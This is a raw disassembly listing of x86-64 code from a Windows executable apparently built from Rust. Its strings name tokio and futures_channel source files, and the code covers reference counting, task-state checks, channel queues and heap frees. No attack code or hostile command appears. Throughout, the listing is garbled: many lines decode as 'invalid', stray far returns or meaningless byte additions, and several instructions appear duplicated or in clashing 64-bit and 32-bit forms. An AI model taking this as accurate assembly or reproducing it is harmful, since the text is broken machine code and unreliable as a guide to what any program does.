lock cmpxchg qword [rcx + 0x2308], r8
je 0x140066f90
mov rcx, qword [rax + 0x2300]
add rcx, 0x20
mov qword [r8 + 0x2300], rcx
mov rcx, rax
xor eax, eax
lock cmpxchg qword [rcx + 0x2308], r8
je 0x140066f90
mov rcx, qword [0x140182260]
xor edx, edx
call r14
jmp 0x140066f90
mov r14, qword [rdi]
mov rax, qword [rdi + 0x10]
mov rcx, qword [r14 + 0x2310]
bt ecx, eax
jae 0x1400670bf
and eax, 0x1f
imul r15, rax, 0x118
lea rdx, [r14 + r15]
lea rcx, [rsp + 0x30]
mov r8d, 0x100
call fcn.140106250
mov rbx, qword [r14 + r15 + 0x100]
movups xmm0, xmmword [r14 + r15 + 0x108]
movaps xmmword [rsp + 0x20], xmm0
lea rax, [rbx - 3]
cmp rax, 2
jb 0x1400670cd
inc qword [rdi + 0x10]
jmp 0x1400670cd
bt rcx, 0x21
mov ebx, 3
sbb rbx, 0xffffffffffffffff
lea rdx, [rsp + 0x30]
mov r8d, 0x100
mov rcx, rsi
call fcn.140106250
mov qword [rsi + 0x100], rbx
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rsi + 0x108], xmm0
jmp 0x140067100
movaps xmm6, xmmword [rsp + 0x130]
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_syncmpsclist.rs
call fcn.140108690
int3
and al, 0x28
mov r8d, 0xa0
call fcn.140106250
jmp 0x14006721f
sub al, ch
add dword [r8], eax
add byte [rax - 0x75], cl
and al, 0x30
cmp rax, 5
je 0x1400672a7
test bl, bh
add byte [rax], al
invalid
add eax, 0xfb840f
add byte [rax], al
test bl, bh
add byte [rax], al
add byte [rbx - 0x7af0fb08], al
cmp eax, 4
jne 0x14006727f
retf 0
invalid
retf 0
lea rcx, [rsp + 0x38]
call fcn.140052130
mov rcx, qword [rsp + 0x98]
call fcn.1400031e0
lea rcx, [rsp + 0xa8]
call fcn.140067420
jmp 0x1400672a7
sub byte [rbx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rsi], fs
add dword [rax], eax
add byte [rbp + rcx*4 + 0x44], cl
lea rcx, [rsp + 0x130]
lea r8, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov rdx, rdi
call fcn.140067b60
mov rax, qword [rsp + 0x130]
cmp rax, 4
je 0x1400672a7
cmp eax, 3
jne 0x140067256
lea rcx, [rsp + 0x138]
call fcn.140035fe0
jmp 0x1400672a7
lea rcx, [rsp + 0x130]
call fcn.140052130
mov rcx, qword [rsp + 0x190]
call fcn.1400031e0
lea rcx, [rsp + 0x1a0]
call fcn.140067420
jmp 0x1400672a7
lea rcx, [rsp + 0x28]
call fcn.140035fe0
cmp dword [rsp + 0x30], 3
je 0x1400672a7
lea rcx, [rsp + 0x30]
call fcn.140002f70
lea rcx, [rsp + 0x110]
call fcn.14005bac0
mov rcx, rsi
call fcn.140065ad0
nop
add rsp, 0x1d0
pop rbx
pop rdi
pop rsi
ret
sbb bh, bh
push rax
adc cl, ch
movsb byte [rdi], byte [rsi]
add eax, dword [rax]
add byte [rax - 0x75], cl
or byte [rax - 0x7b], r9b
sal byte [rdi + rcx - 0x10], 0x48
dec dword [rax]
jne 0x140067635
lea rcx, [rsi + 8]
call fcn.140039330
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.14002de70
mov rcx, rdi
call fcn.140027180
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x1400679c1
mov rcx, rdi
call fcn.140005c50
jmp 0x1400679c1
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [rax + 0x10]
mov r12, qword [rdi]
test r12, r12
je 0x140067927
nop word cs:[rax + rax]
mov r15, qword [r12 + 0x18]
mov rax, qword [r15 + 0x28]
test rax, rax
jne 0x1400676e8
mov rax, qword [r12 + 0x10]
cmp rax, r15
je 0x140067741
call rbx
mov r15, qword [r12 + 0x18]
mov rax, qword [r15 + 0x28]
test rax, rax
je 0x1400676ce
mov qword [r12 + 0x18], rax
cmp qword [r15], 0
jne 0x140067afd
cmp qword [rax], 0
je 0x140067ae5
movups xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov qword [rax], 0
cmp qword [r15], 0
je 0x1400677a9
mov rax, qword [r15 + 8]
test rax, rax
je 0x1400677a0
lea rcx, [r15 + 0x20]
mov rdx, qword [r15 + 0x10]
mov r8, qword [r15 + 0x18]
call qword [rax + 0x10]
jmp 0x1400677a9
mov rax, qword [rdi]
mov rax, qword [rax + 0x38]
test rax, rax
je 0x14006790a
mov qword [rsp + 0x38], 2
mov rax, qword [rdi]
test rax, rax
je 0x140067b48
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x75], cl
cmp byte [rax - 0x7b], cl
ror byte [rdi], 0x84
add al, byte [rax]
add bh, bh
ror dword [rax - 0x75], cl
and al, 0x38
mov rax, qword [rax + 0x38]
test rax, rax
je 0x140067a65
call rbx
mov rax, qword [rsp + 0x38]
cmp rax, 2
je 0x1400676aa
test rax, rax
je 0x1400676aa
mov rax, qword [rsp + 0x40]
test rax, rax
jne 0x140067698
jmp 0x14006789c
lea rcx, [r15 + 0x10]
call fcn.140035fe0
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rbp - 0x77], cl
clc
ror byte [rbp - 0x77], cl
clc
call rbp
mov r12, qword [rdi]
test r12, r12
je 0x140067871
add byte [rax], al
add byte [rax], al
lea rcx, [r12 + 0x20]
call fcn.140001f40
test rax, rax
je 0x14006786b
mov r15, rax
mov r14, r13
mov r12, rax
add r12, 0x10
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x10], cl
jne 0x1400678c9
mov r13, rbp
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400678d6
xor ebp, ebp
movzx eax, byte [r15 + 0x11]
test al, al
jne 0x140067b15
mov byte [r15 + 0x28], 0
mov rax, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x20]
mov qword [r15 + 0x18], 0
test rax, rax
je 0x140067835
call qword [rax + 8]
test bpl, bpl
jne 0x14006784d
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400678f3
xor eax, eax
xchg byte [r12], al
cmp al, 2
mov rbp, r13
mov r13, r14
je 0x1400678ab
lock dec qword [r15]
je 0x1400678b7
mov r12, qword [rdi]
test r12, r12
je 0x140067871
lock dec qword [r12 + 0x38]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov qword [rsp + 0x38], 1
mov rax, qword [rsp + 0x40]
test rax, rax
jne 0x140067698
lea rcx, [rsp + 0x48]
call fcn.140035fe0
jmp 0x1400676aa
mov rcx, r12
call r13
lock dec qword [r15]
jne 0x140067863
mov rcx, r15
call fcn.140037080
mov r12, qword [rdi]
test r12, r12
jne 0x14006786b
jmp 0x140067871
mov rcx, r12
call fcn.1401101b0
jmp 0x1400677f3
call fcn.140110270
mov ebp, eax
xor bpl, 1
movzx eax, byte [r15 + 0x11]
test al, al
je 0x140067818
jmp 0x140067b15
call fcn.140110270
test al, al
jne 0x14006784d
mov byte [r15 + 0x11], 1
jmp 0x14006784d
mov rax, qword [rdi]
test rax, rax
je 0x140067920
lock dec qword [rax]
jne 0x140067920
mov rcx, rdi
call fcn.1400357a0
mov qword [rdi], 0
mov rsi, qword [rsp + 0x30]
mov rax, qword [rdi]
test rax, rax
je 0x140067942
lock dec qword [rax]
jne 0x140067942
mov rcx, rdi
call fcn.1400357a0
mov rdi, qword [rsi + 0x20]
mov bl, 1
mov al, 1
xchg byte [rdi + 0xa8], al
mov al, 1
xchg byte [rdi + 0x88], al
test al, al
jne 0x14006797f
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
mov qword [rdi + 0x78], 0
xor edx, edx
xchg byte [rdi + 0x88], dl
test rax, rax
je 0x14006797f
call qword [rax + 0x18]
xchg byte [rdi + 0xa0], bl
test bl, bl
jne 0x1400679b2
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
xor edx, edx
xchg byte [rdi + 0xa0], dl
test rax, rax
je 0x1400679b2
call qword [rax + 8]
lock dec qword [rdi]
jne 0x1400679c1
mov rcx, qword [rsi + 0x20]
call fcn.1400370d0
mov rsi, qword [rsi + 0x28]
test rsi, rsi
je 0x140067a50
mov rax, qword [rsi]
cmp rax, 2
je 0x140067a3e
test rax, rax
mov rdi, qword [rsi + 8]
mov bl, 1
mov al, 1
xchg byte [rdi + 0x40], al
mov al, 1
xchg byte [rdi + 0x20], al
test al, al
jne 0x140067a0b
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov qword [rdi + 0x10], 0
xor edx, edx
xchg byte [rdi + 0x20], dl
test rax, rax
je 0x140067a0b
call qword [rax + 0x18]
xchg byte [rdi + 0x38], bl
test bl, bl
jne 0x140067a2f
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov ecx, dword [rdi + 0x30]
mov qword [rdi + 0x28], 0
xor edx, edx
xchg byte [rdi + 0x38], dl
test rax, rax
je 0x140067a2f
call qword [rax + 8]
lock dec qword [rdi]
jne 0x140067a3e
mov rcx, qword [rsi + 8]
call fcn.140066310
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
or al, byte [rax]
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x38]
cmp rax, 2
mov rsi, qword [rsp + 0x30]
je 0x14006792c
test rax, rax
je 0x14006792c
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x140067aa3
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [rax + 0x10]
jmp 0x14006792c
lea rcx, [rsp + 0x48]
call fcn.140035fe0
jmp 0x14006792c
lea rcx, str.assertion_failed:__next_.value.is_some__
lea r8, [0x14013d4f8]
mov edx, 0x29
call fcn.140108350
push rbx
or byte [rdx], cl
invalid
push rbx
or byte [rdx], cl
add byte [rax - 0x73], cl
or eax, 0xd590c
lea rcx, str.assertion_failed:__tail_.value.is_none__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscqueue.rs
lea r8, [0x14013d4b0]
mov edx, 0x29
or eax, 0x29ba00
add byte [rax], al
call fcn.140108350
mov qword [rsp + 0x60], r12
mov byte [rsp + 0x68], bpl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ece8]
lea r8, [rsp + 0x60]
mov edx, 0x2b
call fcn.140108600
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
call fcn.140108690
int3
lea rcx, [rsi + 0x18]
call fcn.140035fe0
jmp 0x140067bb6
jo 0x140067b8e
mov dh, 0xf9
dec dword [rax - 0x73]
lea ecx, [rsi + 0x80]
invalid
push 0xfffffffffffffff8
invalid
lea ecx, [rsi + 0x80]
call fcn.140067420
mov r8d, 0xa0
mov rcx, rbx
mov rdx, r14
call fcn.140106250
mov rax, qword [rsi + 0xd0]
nop
mov r14, rax
test r14b, 4
jne 0x140067bee
mov rcx, r14
or rcx, 2
mov rax, r14
lock cmpxchg qword [rsi + 0xd0], rcx
jne 0x140067bd0
mov eax, r14d
and eax, 5
cmp eax, 1
jne 0x140067c0a
mov rax, qword [rsi + 0xc0]
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x10]
invalid
adc byte [rcx - 0xa], al
mov byte [rsi*2 + 0x7c7481e], 4
add byte [rax], al
add al, dh
dec qword [rsi]
test r14b, 4
jne 0x140067c2e
mov qword [rdi], 4
lock dec qword [rsi]
jne 0x140067c5a
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x140067c80
mov r14, qword [rbx]
mov qword [rbx], 4
cmp r14, 4
je 0x140067c70
lea rdx, [rsi + 0x18]
lea rcx, [rdi + 8]
mov r8d, 0x98
call fcn.140106250
mov qword [rdi], r14
invalid
lock dec qword [rsi]
je 0x140067c1d
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140108690
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rbx, qword [rcx + 0xd0]
test bl, 1
jne 0x140067cd7
lea rdi, [rsi + 0x10]
test bl, 8
jne 0x140067cf1
mov rax, qword [rdi]
cmp rax, 4
jne 0x140067d0b
cmp rsi, 0xffffffffffffffff
je 0x140067d48
lock dec qword [rsi + 8]
jne 0x140067d48
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0xc0]
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
lea rdi, [rsi + 0x10]
test bl, 8
je 0x140067c9f
mov rax, qword [rsi + 0xb0]
mov rcx, qword [rsi + 0xb8]
call qword [rax + 0x18]
mov rax, qword [rdi]
cmp rax, 4
je 0x140067ca8
cmp eax, 3
jne 0x140067d21
lea rcx, [rsi + 0x18]
call fcn.140035fe0
cmp rsi, 0xffffffffffffffff
jne 0x140067cb2
jmp 0x140067d48
mov rcx, rdi
call fcn.140052130
mov rcx, qword [rsi + 0x70]
call fcn.1400031e0
lea rcx, [rsi + 0x80]
call fcn.140067420
cmp rsi, 0xffffffffffffffff
jne 0x140067cb2
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add byte ss:[rax], al
add al, ch
invalid
or dword [0x14012381b], 0
add al, ch
invalid
add byte [rax], al
add al, ch
mov al, 1
or al, byte [rax]
int3
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140067ea5
test al, 4
je 0x140068102
test al, 3
je 0x140067e60
cmp rax, 0x3f
jbe 0x14006811a
clc
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
cmpxchg dword [rsi], ecx
jne 0x140067e7a
movzx eax, dl
lea rcx, [0x1401779dc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rsi
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], 0
cmp byte [rsi + 0xa0], 3
jae 0x140068132
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140067f65
xorps xmm6, xmm6
test eax, eax
jne 0x140067f91
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
mov rbx, rcx
retf
mov rcx, rax
call fcn.1400d4a00
mov rcx, rbx
mov byte [r14 + 0x120], 1
retf
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0xc0]
call fcn.140067d60
mov ecx, dword [0x140182314]
adc dword [rax], eax
xchg esp, eax
and al, 0xc0
add byte [rax], al
add al, ch
ret 0xfffd
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
retf 0xb60f
mov dword [rax], esp
add dword [rax], eax
add byte [rax], al
retf 0xb60f
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je 0x140067ff2
invalid
xor eax, 0x4b75c985
test ecx, ecx
jne 0x14006800c
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
movabs dword [0x5825148b48650011], eax
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rdi, qword [rdx + rcx*8]
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7c2ee
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
mov byte [rdi + 0x120], 1
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
or eax, 0x11a31c
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
invalid
add byte [rax - 0x73], cl
jle 0x140068030
lea rdi, [rsi + 0x20]
test al, al
je 0x1400680aa
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x1401779ec]
or eax, 0x10f9c2
or eax, 0x10f9c2
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7d], r9b
add rcx, 0x10
add ecx, 0x10
rcl dword [rax], 0x48
mov edx, esi
adc byte [rax - 0x77], cl
mov r8b, 1
mov rdx, rsi
mov r8b, 1
call fcn.1400ec5d0
mov al, byte [rbp + 8]
add byte [rax - 0x39], cl
rol al, 0xff
sar bh, 0xff
or byte [rax], al
mov rax, 0xffffffffffffffc0
sar bh, 0xff
push rax
lock xadd qword [rsi], rax
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
cmp rax, 0x3f
jbe 0x14006816a
and rax, 0xffffffffffffffc0
and eax, 0xffffffc0
cmp rax, 0x40
jne 0x1400680ed
mov rcx, rsi
call fcn.1400683a0
jmp 0x1400680ed
lea rdi, [rsi + 0x20]
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140068470
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
jmp 0x1400680d0
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
movabs al, byte [0x24548d4804000000]
xor byte [rax - 0x77], cl
stc
call fcn.140068470
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], 0
mov byte [rsp + 0xa0], 3
lea rdx, [rsp + 0x30]
add byte [rax], al
add ecx, dword [rax - 0x73]
push rsp
and al, 0x30
mov rcx, rdi
call fcn.140068470
mov rcx, rsi
call fcn.140068640
movaps xmm6, xmmword [rsp + 0xe0]
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
invalid
push qword [rdx + riz - 0x10]
dec qword [r8 + 8]
jne 0x140068958
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
add dword [rax - 0x75], ecx
adc al, sil
dec qword [rcx]
jne 0x14006898e
mov rcx, qword [rax + 0x10]
call fcn.1400e4fd0
mov byte [rdi], 0
mov byte [rdi], 0
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400689b3
lock dec qword [r8 + 8]
jne 0x1400689b3
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rsi
ret
sar bh, 0xff
push rax
xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x140068b0a
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400689f8
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rcx, [rsi + 0x18]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140068ad8
mov r8, qword [rcx]
mov rdx, qword [r8 + 0x18]
movabs r9, 0xffffffff00000000
mov rax, rdx
shr rax, 0x20
mov dword [rsp + 0x20], eax
mov r10d, dword [r8 + 0x20]
cmp r10d, edx
je 0x140068a99
lea r10d, [rdx + 1]
mov dword [rsp + 0x24], r10d
cmp eax, edx
jne 0x140068a60
mov eax, r10d
mov r10, rax
shl r10, 0x20
or r10, rax
mov rax, rdx
lock cmpxchg qword [r8 + 0x18], r10
jne 0x140068a80
jmp 0x140068a85
cmp r10d, eax
je 0x140068aed
mov eax, r10d
mov r10, rdx
and r10, r9
or r10, rax
mov rax, rdx
lock cmpxchg qword [r8 + 0x18], r10
je 0x140068a85
mov rdx, rax
jmp 0x140068a20
movzx eax, dl
mov rdx, qword [r8 + 0x10]
mov rax, qword [rdx + rax*8]
test rax, rax
jne 0x140068b22
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140068aa7
call fcn.1400e4580
mov rax, qword [rsi + 8]
test rax, rax
je 0x140068abf
lock dec qword [rax]
jne 0x140068abf
lea rcx, [rsi + 8]
call fcn.140068970
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x58
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, rcx
call fcn.140110270
mov rcx, rdi
test al, al
jne 0x140068a0f
jmp 0x140068a99
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x24]
lea r8, [rsp + 0x28]
call fcn.14010da90
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
mov rcx, rax
call fcn.140039b50
lea rax, str.queue_not_empty
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x28]
call fcn.140108280
int3
mov ecx, edi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140068c54
cmp qword [rbx + 0x10], 0x11
jb 0x140068c42
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je case.0x140050c3f.54
lock dec qword [r8 + 8]
jne case.0x140050c3f.54
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
and byte [rax - 0x77], cl
invalid
adc al, ch
xor al, dh
stc
dec dword [rbx + rcx*4 + 6]
cmp r8, 0xffffffffffffffff
je 0x140068cd3
lock dec qword [r8 + 8]
jne 0x140068cd3
mov rcx, qword [0x140182260]
xchg ebp, eax
adc dword [rax], eax
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
pop rsi
ret
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x140068d45
test al, 4
je 0x140068f9b
add byte [rax], al
add byte [rax], al
test al, 3
je 0x140068d00
cmp rax, 0x3f
jbe 0x140068fb3
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140068d1a
movzx eax, dl
lea rcx, [0x1401779fc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rsi
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xc0], rax
rol byte [rax], 0
add byte [rax - 0x77], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xa0be], al
add byte [rbx], al
rol byte [rax], 0
add byte [rax - 0x77], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xa0be], al
add byte [rbx], al
jae 0x140068fcb
lea rcx, [rsi + 0x30]
lea ecx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140068e05
xorps xmm6, xmm6
test eax, eax
jne 0x140068e31
mov eax, dword [0x140182314]
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
loope 0x140068da1
invalid
add byte [rax - 0x77], cl
retf
mov rcx, rax
call fcn.1400d4a00
mov rcx, rbx
mov byte [r14 + 0x120], 1
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
loope 0x140068da1
invalid
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc2
add byte [rax - 0x75], cl
add al, 0xc2
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
invalid
lock add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov eax, 0xf8
add byte [rax], al
mov qword [rax + 0xf8], rdi
mov dword [rax + 0xf8], edi
add byte [rax], al
lea rdx, [rsp + 0xc0]
call fcn.140067d60
dec dword [rbx + 0x1194d00d]
invalid
rol byte [rax], 0
add al, ch
and ch, bh
invalid
dec dword [rbx + 0x1194d00d]
or eax, 0x1194d0
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x140068e92
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
test ecx, ecx
jne 0x140068eac
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
retf 0x8d48
invalid
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
retf 0x8d48
mov byte [rdi + 0x120], 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
jle 0x140068ed0
test al, al
ror byte [rdi], 0x84
mov eax, dword [rax]
add byte [rax], al
je 0x140068f43
test byte [rbx + 0x48000000], cl
mov ecx, esi
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
invalid
fiadd word [rdi]
add byte [rdi], cl
mov dh, 0xc0
invalid
ror byte [rax - 0x73], 0xd
